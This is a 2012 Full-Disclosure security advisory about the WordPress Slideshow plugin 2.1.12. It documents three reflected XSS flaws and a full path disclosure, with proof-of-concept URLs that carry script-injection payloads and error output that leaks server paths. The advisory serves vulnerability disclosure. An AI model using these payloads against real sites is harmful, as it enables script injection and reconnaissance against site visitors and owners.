[waraxe-2012-SA#092] - Multiple Vulnerabilities in Wordpress Slideshow Plugin ===============================================================================
Author: Janek Vind "waraxe" Date: 17. October 2012 Location: Estonia, Tartu Web: http://www.waraxe.us/advisory-92.html Description of vulnerable target: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Slideshow provides an easy way to integrate a slideshow for any WordPress installation. Any image can be loaded into the slideshow by picking it from the WordPress media page, even images you've already uploaded can be inserted into your slideshow right away! http://wordpress.org/extend/plugins/slideshow-jquery-image-gallery/ Affected version: 2.1.12 ############################################################################### 1. Reflected XSS in "views/SlideshowPlugin/slideshow.php" ############################################################################### Reasons: 1. Uninitialized variables "$randomId", "$slides" and "$settings" 2. Improper encoding or escaping of output Attack vectors: User-supplied parameters "randomId", "slides" and "settings" Preconditions: PHP directive register_globals=on Tests: http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPlugin/slideshow.php?randomId=";><script>alert(123);</script> http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPlugin/slideshow.php?slides[0][type]=text&slides[0][title]=<script>alert(123);</script> http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPlugin/slideshow.php?settings=<body+onload='alert(123)'> ############################################################################### 2. Reflected XSS in "views/SlideshowPluginPostType/settings.php" ############################################################################### Reasons: 1. Uninitialized variables "$settings" and "$inputFields" 2. Improper encoding or escaping of output Attack vectors: User-supplied parameters "settings" and "inputFields" Preconditions: PHP directive register_globals=on Tests: http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/settings.php?settings[][group]=<script>alert(123);</script> http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/settings.php?settings[0][]&inputFields[0]=<script>alert(123);</script> ############################################################################### 3. Reflected XSS in "views/SlideshowPluginPostType/style-settings.php" ############################################################################### Reasons: 1. Uninitialized variables "$settings" and "$inputFields" 2. Improper encoding or escaping of output Attack vectors: User-supplied parameters "settings" and "inputFields" Preconditions: PHP directive register_globals=on Tests: http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/style-settings.php?settings[0][3]=<script>alert(123);</script> http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/style-settings.php?settings[0]&inputFields[0]=<script>alert(123);</script> ############################################################################### 4. Full Path Disclosure in multiple scripts ############################################################################### Reasons: Direct request to php script triggers pathname leak in error message Preconditions: PHP directive display_errors=on Result: Information Exposure Through an Error Message Tests: http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/slideshow.php Fatal error: Call to undefined function add_action() in C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\slideshow.php on line 34 http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/classes/SlideshowPluginWidget.php Fatal error: Class 'WP_Widget' not found in C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\classes\SlideshowPluginWidget.php on line 8 http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPlugin/slideshow.php Fatal error: Class 'SlideshowPluginMain' not found in C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPlugin\slideshow.php on line 111 http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/information.php Fatal error: Call to undefined function _e() in C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginPostType\information.php on line 1 http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/settings.php Warning: Invalid argument supplied for foreach() in C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginPostType\settings.php on line 3 http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/slides.php Fatal error: Class 'SlideshowPluginSlideInserter' not found in C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginPostType\slides.php on line 3 http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/style-settings.php Warning: Invalid argument supplied for foreach() in C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginPostType\style-settings.php on line 2 http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/support-plugin.php Fatal error: Call to undefined function _e() in C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginPostType\support-plugin.php on line 3 http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginSlideInserter/insert-image-button.php Fatal error: Call to undefined function _e() in C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginSlideInserter\insert-image-button.php on line 1 http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginSlideInserter/insert-text-button.php Fatal error: Call to undefined function _e() in C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginSlideInserter\insert-text-button.php on line 1 http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginSlideInserter/insert-video-button.php Fatal error: Call to undefined function _e() in C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginSlideInserter\insert-video-button.php on line 1 http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginSlideInserter/search-popup.php Fatal error: Call to undefined function submit_button() in C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginSlideInserter\search-popup.php on line 6 http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginUpload/upload-button.php Fatal error: Call to undefined function _e() in C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginUpload\upload-button.php on line 1 http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginWidget/form.php Fatal error: Using $this when not in object context in C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginWidget\form.php on line 2 Contact: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ come2war...@yahoo.com Janek Vind "waraxe" Waraxe forum: http://www.waraxe.us/forums.html Personal homepage: http://www.janekvind.com/ Random project: http://albumnow.com/ ---------------------------------- [ EOF ] ------------------------------------ _______________________________________________ Full-Disclosure - We believe in it. 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